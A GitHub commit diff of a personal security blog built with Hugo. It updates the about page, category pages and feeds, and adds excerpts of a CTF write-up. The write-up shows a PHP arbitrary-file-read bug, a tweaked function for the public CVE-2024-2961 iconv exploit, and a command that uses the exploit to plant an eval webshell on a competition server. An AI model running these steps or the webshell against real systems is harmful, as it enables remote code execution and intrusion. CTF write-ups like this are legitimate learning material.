Skip to content

Commit 46ed568

Browse files
author
gsbp
committed
update
1 parent c6a3a5a commit 46ed568

File tree

16 files changed

+760
-525
lines changed

16 files changed

+760
-525
lines changed

content/post/test.md

Lines changed: 5 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,5 @@
1+
+++
2+
date = '2025-02-11T23:10:46+08:00'
3+
draft = true
4+
title = 'Test'
5+
+++

public/about/index.html

Lines changed: 8 additions & 12 deletions
Original file line numberDiff line numberDiff line change
@@ -7,10 +7,9 @@
77
<title>About Me | GSBP&#39;s Blog</title>
88
<meta name="description"
99
content="一名大二在读学生
10-
Syclover &amp; 0XFFF 成员
11-
对各种安全感兴趣,目前主要学习的还的是Web安全(Java 安全、云安全等
10+
Syclover主力成员
11+
对各种安全感兴趣,目前主要学习的还的是Web安全(Java 安全、偶然也会学点云安全,等
1212
最爱吃,最喜欢吃的是🍉,最喜欢干的事情就是大夏天抱着半个西瓜拿勺子挖着吃然后看视频
13-
会打点小游戏(其实从小学之前就开始打游戏了hh
1413
什么都想学,但什么都不会
1514
Contact Me
1615
@@ -24,10 +23,9 @@
2423
<meta property="og:site_name" content="GSBP&#39;s Blog">
2524
<meta property="og:title" content="About Me">
2625
<meta property="og:description" content="一名大二在读学生
27-
Syclover &amp; 0XFFF 成员
28-
对各种安全感兴趣,目前主要学习的还的是Web安全(Java 安全、云安全等
26+
Syclover主力成员
27+
对各种安全感兴趣,目前主要学习的还的是Web安全(Java 安全、偶然也会学点云安全,等
2928
最爱吃,最喜欢吃的是🍉,最喜欢干的事情就是大夏天抱着半个西瓜拿勺子挖着吃然后看视频
30-
会打点小游戏(其实从小学之前就开始打游戏了hh
3129
什么都想学,但什么都不会
3230
Contact Me Email:[email protected]
3331
GitHub:https://github.com/GSBP0/:">
@@ -40,10 +38,9 @@
4038
<meta name="twitter:card" content="summary">
4139
<meta name="twitter:title" content="About Me">
4240
<meta name="twitter:description" content="一名大二在读学生
43-
Syclover &amp; 0XFFF 成员
44-
对各种安全感兴趣,目前主要学习的还的是Web安全(Java 安全、云安全等
41+
Syclover主力成员
42+
对各种安全感兴趣,目前主要学习的还的是Web安全(Java 安全、偶然也会学点云安全,等
4543
最爱吃,最喜欢吃的是🍉,最喜欢干的事情就是大夏天抱着半个西瓜拿勺子挖着吃然后看视频
46-
会打点小游戏(其实从小学之前就开始打游戏了hh
4744
什么都想学,但什么都不会
4845
Contact Me Email:[email protected]
4946
GitHub:https://github.com/GSBP0/:">
@@ -164,10 +161,9 @@ <h1>GSBP&#39;s Blog</h1>
164161
<h1 class="title is-1">About Me</h1>
165162
<div class="content about-content">
166163
<p>一名大二在读学生</p>
167-
<p>Syclover &amp; 0XFFF 成员</p>
168-
<p>对各种安全感兴趣,目前主要学习的还的是Web安全(Java 安全、云安全等</p>
164+
<p>Syclover主力成员</p>
165+
<p>对各种安全感兴趣,目前主要学习的还的是Web安全(Java 安全、偶然也会学点云安全,等</p>
169166
<p>最爱吃,最喜欢吃的是🍉,最喜欢干的事情就是大夏天抱着半个西瓜拿勺子挖着吃然后看视频</p>
170-
<p>会打点小游戏(其实从小学之前就开始打游戏了hh</p>
171167
<p><strong>什么都想学,但什么都不会</strong></p>
172168
<h1 id="contact-me">Contact Me</h1>
173169
<p>Email:[email protected]</p>

public/categories/index.html

Lines changed: 5 additions & 5 deletions
Original file line numberDiff line numberDiff line change
@@ -149,14 +149,14 @@ <h1>Categories</h1>
149149

150150
<div class="card">
151151

152-
<a href="http://localhost:1313/categories/java%E5%AE%89%E5%85%A8/">
152+
<a href="http://localhost:1313/categories/wp/">
153153
</a>
154154
<div class="card-content has-text-centered">
155155
<div>
156-
<a class="title is-5 is-size-6-mobile" href="http://localhost:1313/categories/java%E5%AE%89%E5%85%A8/">Java安全</a>
156+
<a class="title is-5 is-size-6-mobile" href="http://localhost:1313/categories/wp/">WP</a>
157157

158158
<strong>
159-
<sup style="font-size:16px;">2</sup>
159+
<sup style="font-size:16px;">3</sup>
160160
</strong>
161161
</div>
162162
</div>
@@ -165,11 +165,11 @@ <h1>Categories</h1>
165165

166166
<div class="card">
167167

168-
<a href="http://localhost:1313/categories/wp/">
168+
<a href="http://localhost:1313/categories/java%E5%AE%89%E5%85%A8/">
169169
</a>
170170
<div class="card-content has-text-centered">
171171
<div>
172-
<a class="title is-5 is-size-6-mobile" href="http://localhost:1313/categories/wp/">WP</a>
172+
<a class="title is-5 is-size-6-mobile" href="http://localhost:1313/categories/java%E5%AE%89%E5%85%A8/">Java安全</a>
173173

174174
<strong>
175175
<sup style="font-size:16px;">2</sup>

public/categories/index.xml

Lines changed: 8 additions & 8 deletions
Original file line numberDiff line numberDiff line change
@@ -6,21 +6,21 @@
66
<description>Recent content in Categories on GSBP&#39;s Blog</description>
77
<generator>Hugo</generator>
88
<language>en-us</language>
9-
<lastBuildDate>Thu, 23 Jan 2025 23:33:31 +0800</lastBuildDate>
9+
<lastBuildDate>Tue, 11 Feb 2025 23:00:00 +0800</lastBuildDate>
1010
<atom:link href="http://localhost:1313/categories/index.xml" rel="self" type="application/rss+xml" />
11+
<item>
12+
<title>WP</title>
13+
<link>http://localhost:1313/categories/wp/</link>
14+
<pubDate>Tue, 11 Feb 2025 23:00:00 +0800</pubDate>
15+
<guid>http://localhost:1313/categories/wp/</guid>
16+
<description></description>
17+
</item>
1118
<item>
1219
<title>Java安全</title>
1320
<link>http://localhost:1313/categories/java%E5%AE%89%E5%85%A8/</link>
1421
<pubDate>Thu, 23 Jan 2025 23:33:31 +0800</pubDate>
1522
<guid>http://localhost:1313/categories/java%E5%AE%89%E5%85%A8/</guid>
1623
<description></description>
1724
</item>
18-
<item>
19-
<title>WP</title>
20-
<link>http://localhost:1313/categories/wp/</link>
21-
<pubDate>Mon, 20 Jan 2025 03:02:14 +0800</pubDate>
22-
<guid>http://localhost:1313/categories/wp/</guid>
23-
<description></description>
24-
</item>
2525
</channel>
2626
</rss>

public/categories/java安全/index.xml

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -13,7 +13,7 @@
1313
<link>http://localhost:1313/post/springaop/</link>
1414
<pubDate>Thu, 23 Jan 2025 23:33:31 +0800</pubDate>
1515
<guid>http://localhost:1313/post/springaop/</guid>
16-
<description>&lt;h2 id=&#34;前言&#34;&gt;前言&lt;/h2&gt;&#xA;&lt;p&gt;在浏览文章的时候看见有师傅发现了一条仅依赖于Springboot中的SpringAOP的链,于是自己调试学习了一下&lt;/p&gt;&#xA;&lt;h2 id=&#34;正文&#34;&gt;正文&lt;/h2&gt;&#xA;&lt;p&gt;依赖于Spring-AOP和aspectjweaver两个包,但是springboot中的spring-boot-starter-aop自带包含这俩类,可以说是和Jackson一样通杀springboot的链子了&lt;/p&gt;&#xA;&lt;h3 id=&#34;流程&#34;&gt;流程&lt;/h3&gt;&#xA;&lt;p&gt;调用链如下&lt;/p&gt;&#xA;&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;JdkDynamicAopProxy.invoke()-&amp;gt;&#xD;&#xA;ReflectiveMethodInvocation.proceed()-&amp;gt;&#xD;&#xA;AspectJAroundAdvice-&amp;gt;invoke-&amp;gt;&#xD;&#xA;org.springframework.aop.aspectj.AbstractAspectJAdvice.invokeAdviceMethod()-&amp;gt;&#xD;&#xA;method.invoke()&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;执行类是&lt;code&gt;org.springframework.aop.aspectj.AbstractAspectJAdvice&lt;/code&gt;的&lt;strong&gt;invokeAdviceMethodWithGivenArgs&lt;/strong&gt;方法&lt;/p&gt;&#xA;&lt;p&gt;![image-20250123020448769](/Users/gsbp/Library/Application Support/typora-user-images/image-20250123020448769.png)&lt;/p&gt;&#xA;&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt; protected Object invokeAdviceMethodWithGivenArgs(Object[] args) throws Throwable {&#xD;&#xA; Object[] actualArgs = args;&#xD;&#xA; if (this.aspectJAdviceMethod.getParameterCount() == 0) {&#xD;&#xA; actualArgs = null;&#xD;&#xA; }&#xD;&#xA;&#xD;&#xA; try {&#xD;&#xA; ReflectionUtils.makeAccessible(this.aspectJAdviceMethod);&#xD;&#xA; return this.aspectJAdviceMethod.invoke(this.aspectInstanceFactory.getAspectInstance(), actualArgs);&#xD;&#xA; } catch (IllegalArgumentException ex) {&#xD;&#xA; throw new AopInvocationException(&amp;#34;Mismatch on arguments to advice method [&amp;#34; + this.aspectJAdviceMethod + &amp;#34;]; pointcut expression [&amp;#34; + this.pointcut.getPointcutExpression() + &amp;#34;]&amp;#34;, ex);&#xD;&#xA; } catch (InvocationTargetException ex) {&#xD;&#xA; throw ex.getTargetException();&#xD;&#xA; }&#xD;&#xA; }&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;直接在AOP依赖下的一个sink点,有着反射执行任意方法的能力,操作空间很大&lt;/p&gt;</description>
16+
<description>&lt;h2 id=&#34;前言&#34;&gt;前言&lt;/h2&gt;&#xA;&lt;p&gt;在浏览文章的时候看见有师傅发现了一条仅依赖于Springboot中的SpringAOP的链,于是自己调试学习了一下&lt;/p&gt;&#xA;&lt;h2 id=&#34;正文&#34;&gt;正文&lt;/h2&gt;&#xA;&lt;p&gt;依赖于Spring-AOP和aspectjweaver两个包,但是springboot中的spring-boot-starter-aop自带包含这俩类&lt;/p&gt;&#xA;&lt;h3 id=&#34;流程&#34;&gt;流程&lt;/h3&gt;&#xA;&lt;p&gt;调用链如下&lt;/p&gt;&#xA;&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;JdkDynamicAopProxy.invoke()-&amp;gt;&#xD;&#xA;ReflectiveMethodInvocation.proceed()-&amp;gt;&#xD;&#xA;AspectJAroundAdvice-&amp;gt;invoke-&amp;gt;&#xD;&#xA;org.springframework.aop.aspectj.AbstractAspectJAdvice.invokeAdviceMethod()-&amp;gt;&#xD;&#xA;method.invoke()&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;执行类是&lt;code&gt;org.springframework.aop.aspectj.AbstractAspectJAdvice&lt;/code&gt;的&lt;strong&gt;invokeAdviceMethodWithGivenArgs&lt;/strong&gt;方法&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&#34;https://tuchuang-1322176132.cos.ap-chengdu.myqcloud.com//imgimage-20250123020448769.png&#34; alt=&#34;image-20250123020448769&#34;&gt;&lt;/p&gt;&#xA;&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt; protected Object invokeAdviceMethodWithGivenArgs(Object[] args) throws Throwable {&#xD;&#xA; Object[] actualArgs = args;&#xD;&#xA; if (this.aspectJAdviceMethod.getParameterCount() == 0) {&#xD;&#xA; actualArgs = null;&#xD;&#xA; }&#xD;&#xA;&#xD;&#xA; try {&#xD;&#xA; ReflectionUtils.makeAccessible(this.aspectJAdviceMethod);&#xD;&#xA; return this.aspectJAdviceMethod.invoke(this.aspectInstanceFactory.getAspectInstance(), actualArgs);&#xD;&#xA; } catch (IllegalArgumentException ex) {&#xD;&#xA; throw new AopInvocationException(&amp;#34;Mismatch on arguments to advice method [&amp;#34; + this.aspectJAdviceMethod + &amp;#34;]; pointcut expression [&amp;#34; + this.pointcut.getPointcutExpression() + &amp;#34;]&amp;#34;, ex);&#xD;&#xA; } catch (InvocationTargetException ex) {&#xD;&#xA; throw ex.getTargetException();&#xD;&#xA; }&#xD;&#xA; }&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;直接在AOP依赖下的一个sink点,有着反射执行任意方法的能力,操作空间很大&lt;/p&gt;</description>
1717
</item>
1818
<item>
1919
<title>JDK17打Jackson&#43;LdapAttruibute反序列化</title>

public/categories/wp/index.html

Lines changed: 10 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -145,6 +145,16 @@ <h2 class="archive-title">Category: WP</h2>
145145

146146

147147

148+
<article class="archive-item">
149+
<a href="http://localhost:1313/post/2025n1junior-wp/" class="archive-item-link hover-underline-animation">[2025]N1junior-WP</a>
150+
<span class="archive-item-date">
151+
February 11, 2025
152+
</span>
153+
154+
</article>
155+
156+
157+
148158
<article class="archive-item">
149159
<a href="http://localhost:1313/post/jdk17%E6%89%93jackson&#43;ldapattruibute%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96/" class="archive-item-link hover-underline-animation">JDK17打Jackson&#43;LdapAttruibute反序列化</a>
150160
<span class="archive-item-date">

public/categories/wp/index.xml

Lines changed: 8 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -6,8 +6,15 @@
66
<description>Recent content in WP on GSBP&#39;s Blog</description>
77
<generator>Hugo</generator>
88
<language>en-us</language>
9-
<lastBuildDate>Mon, 20 Jan 2025 03:02:14 +0800</lastBuildDate>
9+
<lastBuildDate>Tue, 11 Feb 2025 23:00:00 +0800</lastBuildDate>
1010
<atom:link href="http://localhost:1313/categories/wp/index.xml" rel="self" type="application/rss+xml" />
11+
<item>
12+
<title>[2025]N1junior-WP</title>
13+
<link>http://localhost:1313/post/2025n1junior-wp/</link>
14+
<pubDate>Tue, 11 Feb 2025 23:00:00 +0800</pubDate>
15+
<guid>http://localhost:1313/post/2025n1junior-wp/</guid>
16+
<description>&lt;h2 id=&#34;gavatar&#34;&gt;Gavatar&lt;/h2&gt;&#xA;&lt;p&gt;一个php服务&lt;/p&gt;&#xA;&lt;p&gt;这里看upload.php有着很明显的任意文件读的漏洞,只需要post一个url参数就可以&lt;/p&gt;&#xA;&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;if (!empty($_FILES[&amp;#39;avatar&amp;#39;][&amp;#39;tmp_name&amp;#39;])) {&#xA; $finfo = new finfo(FILEINFO_MIME_TYPE);&#xA; if (!in_array($finfo-&amp;gt;file($_FILES[&amp;#39;avatar&amp;#39;][&amp;#39;tmp_name&amp;#39;]), [&amp;#39;image/jpeg&amp;#39;, &amp;#39;image/png&amp;#39;, &amp;#39;image/gif&amp;#39;])) {&#xA; die(&amp;#39;Invalid file type&amp;#39;);&#xA; }&#xA; move_uploaded_file($_FILES[&amp;#39;avatar&amp;#39;][&amp;#39;tmp_name&amp;#39;], $avatarPath);&#xA;} elseif (!empty($_POST[&amp;#39;url&amp;#39;])) {&#xA; $image = @file_get_contents($_POST[&amp;#39;url&amp;#39;]);&#xA; if ($image === false) die(&amp;#39;Invalid URL&amp;#39;);&#xA; file_put_contents($avatarPath, $image);&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;flag也不能直接读,需要rce调用/readflag,然后就开始想能不能和其他php文件下的漏洞一起利用&lt;/p&gt;&#xA;&lt;p&gt;也是没有其他能够接着利用的漏洞了,然后看到php版本是8.3.4,就想到那个iconv的漏洞利用&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&#34;https://www.ambionics.io/blog/iconv-cve-2024-2961-p1&#34;&gt;https://www.ambionics.io/blog/iconv-cve-2024-2961-p1&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;因为不是直接返回文件内容,而是需要我们从&lt;code&gt;avatar.php&lt;/code&gt;中获取,这里需要稍微改一下脚本中的download函数,要提前注册一个用户,然后把session和user填上即可&lt;/p&gt;&#xA;&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt; def download(self, path: str) -&amp;gt; bytes:&#xA; &amp;#34;&amp;#34;&amp;#34;Returns the contents of a remote file.&#xA; &amp;#34;&amp;#34;&amp;#34;&#xA; path = f&amp;#34;php://filter/convert.base64-encode/resource={path}&amp;#34;&#xA; self.send(path)&#xA; response=self.session.get(&amp;#34;http://39.106.16.204:20871/avatar.php?user=123&amp;#34;)&#xA; print(response)&#xA; data = response.text&#xA; return base64.decode(data)&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;然后跑exp就好了&lt;/p&gt;&#xA;&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;python test.py http://39.106.16.204:20871/upload.php &amp;#34;echo &amp;#39;&amp;lt;?=@eval(\$_POST[0]);?&amp;gt;&amp;#39; &amp;gt; shell.php&amp;#34;&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;&lt;img src=&#34;https://tuchuang-1322176132.cos.ap-chengdu.myqcloud.com//imgimage-20250211210919337.png&#34; alt=&#34;image-20250211210919337&#34;&gt;&lt;/p&gt;</description>
17+
</item>
1118
<item>
1219
<title>JDK17打Jackson&#43;LdapAttruibute反序列化</title>
1320
<link>http://localhost:1313/post/jdk17%E6%89%93jackson&#43;ldapattruibute%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96/</link>

public/index.html

Lines changed: 54 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -188,6 +188,58 @@ <h1 id="home-title" class="title is-1 ">GSBP&#39;s Blog</h1>
188188
</div></article>
189189
<div class="summary">
190190

191+
<article class="post">
192+
<div class="single-container column is-centered">
193+
<div class="archive" id="post-container">
194+
<header class="post-header">
195+
<h1 class="post-title hover-underline-animation"><a class="post-link" href="/post/2025n1junior-wp/">[2025]N1junior-WP</a></h1>
196+
197+
198+
</header>
199+
<div class="post-content">
200+
<div class="excerpt post-summary">
201+
<h2 id="gavatar">Gavatar</h2>
202+
<p>一个php服务</p>
203+
<p>这里看upload.php有着很明显的任意文件读的漏洞,只需要post一个url参数就可以</p>
204+
<pre tabindex="0"><code>if (!empty($_FILES[&#39;avatar&#39;][&#39;tmp_name&#39;])) {
205+
$finfo = new finfo(FILEINFO_MIME_TYPE);
206+
if (!in_array($finfo-&gt;file($_FILES[&#39;avatar&#39;][&#39;tmp_name&#39;]), [&#39;image/jpeg&#39;, &#39;image/png&#39;, &#39;image/gif&#39;])) {
207+
die(&#39;Invalid file type&#39;);
208+
}
209+
move_uploaded_file($_FILES[&#39;avatar&#39;][&#39;tmp_name&#39;], $avatarPath);
210+
} elseif (!empty($_POST[&#39;url&#39;])) {
211+
$image = @file_get_contents($_POST[&#39;url&#39;]);
212+
if ($image === false) die(&#39;Invalid URL&#39;);
213+
file_put_contents($avatarPath, $image);
214+
}
215+
</code></pre><p>flag也不能直接读,需要rce调用/readflag,然后就开始想能不能和其他php文件下的漏洞一起利用</p>
216+
<p>也是没有其他能够接着利用的漏洞了,然后看到php版本是8.3.4,就想到那个iconv的漏洞利用</p>
217+
<p><a href="https://www.ambionics.io/blog/iconv-cve-2024-2961-p1">https://www.ambionics.io/blog/iconv-cve-2024-2961-p1</a></p>
218+
<p>因为不是直接返回文件内容,而是需要我们从<code>avatar.php</code>中获取,这里需要稍微改一下脚本中的download函数,要提前注册一个用户,然后把session和user填上即可</p>
219+
<pre tabindex="0"><code> def download(self, path: str) -&gt; bytes:
220+
&#34;&#34;&#34;Returns the contents of a remote file.
221+
&#34;&#34;&#34;
222+
path = f&#34;php://filter/convert.base64-encode/resource={path}&#34;
223+
self.send(path)
224+
response=self.session.get(&#34;http://39.106.16.204:20871/avatar.php?user=123&#34;)
225+
print(response)
226+
data = response.text
227+
return base64.decode(data)
228+
</code></pre><p>然后跑exp就好了</p>
229+
<pre tabindex="0"><code>python test.py http://39.106.16.204:20871/upload.php &#34;echo &#39;&lt;?=@eval(\$_POST[0]);?&gt;&#39; &gt; shell.php&#34;
230+
</code></pre><p><img src="https://tuchuang-1322176132.cos.ap-chengdu.myqcloud.com//imgimage-20250211210919337.png" alt="image-20250211210919337"></p>
231+
</div>
232+
233+
<div class="post-time-container">
234+
<span class="post-time"> 2025-02-11 </span>
235+
</div>
236+
</div>
237+
238+
</div>
239+
</div>
240+
</article>
241+
242+
191243
<article class="post">
192244
<div class="single-container column is-centered">
193245
<div class="archive" id="post-container">
@@ -201,7 +253,7 @@ <h1 class="post-title hover-underline-animation"><a class="post-link" href="/pos
201253
<h2 id="前言">前言</h2>
202254
<p>在浏览文章的时候看见有师傅发现了一条仅依赖于Springboot中的SpringAOP的链,于是自己调试学习了一下</p>
203255
<h2 id="正文">正文</h2>
204-
<p>依赖于Spring-AOP和aspectjweaver两个包,但是springboot中的spring-boot-starter-aop自带包含这俩类,可以说是和Jackson一样通杀springboot的链子了</p>
256+
<p>依赖于Spring-AOP和aspectjweaver两个包,但是springboot中的spring-boot-starter-aop自带包含这俩类</p>
205257
<h3 id="流程">流程</h3>
206258
<p>调用链如下</p>
207259
<pre tabindex="0"><code>JdkDynamicAopProxy.invoke()-&gt;
@@ -210,7 +262,7 @@ <h3 id="流程">流程</h3>
210262
org.springframework.aop.aspectj.AbstractAspectJAdvice.invokeAdviceMethod()-&gt;
211263
method.invoke()
212264
</code></pre><p>执行类是<code>org.springframework.aop.aspectj.AbstractAspectJAdvice</code><strong>invokeAdviceMethodWithGivenArgs</strong>方法</p>
213-
<p>![image-20250123020448769](/Users/gsbp/Library/Application Support/typora-user-images/image-20250123020448769.png)</p>
265+
<p><img src="https://tuchuang-1322176132.cos.ap-chengdu.myqcloud.com//imgimage-20250123020448769.png" alt="image-20250123020448769"></p>
214266
<pre tabindex="0"><code> protected Object invokeAdviceMethodWithGivenArgs(Object[] args) throws Throwable {
215267
Object[] actualArgs = args;
216268
if (this.aspectJAdviceMethod.getParameterCount() == 0) {

public/index.json

Lines changed: 1 addition & 1 deletion
Large diffs are not rendered by default.

0 commit comments

Comments
 (0)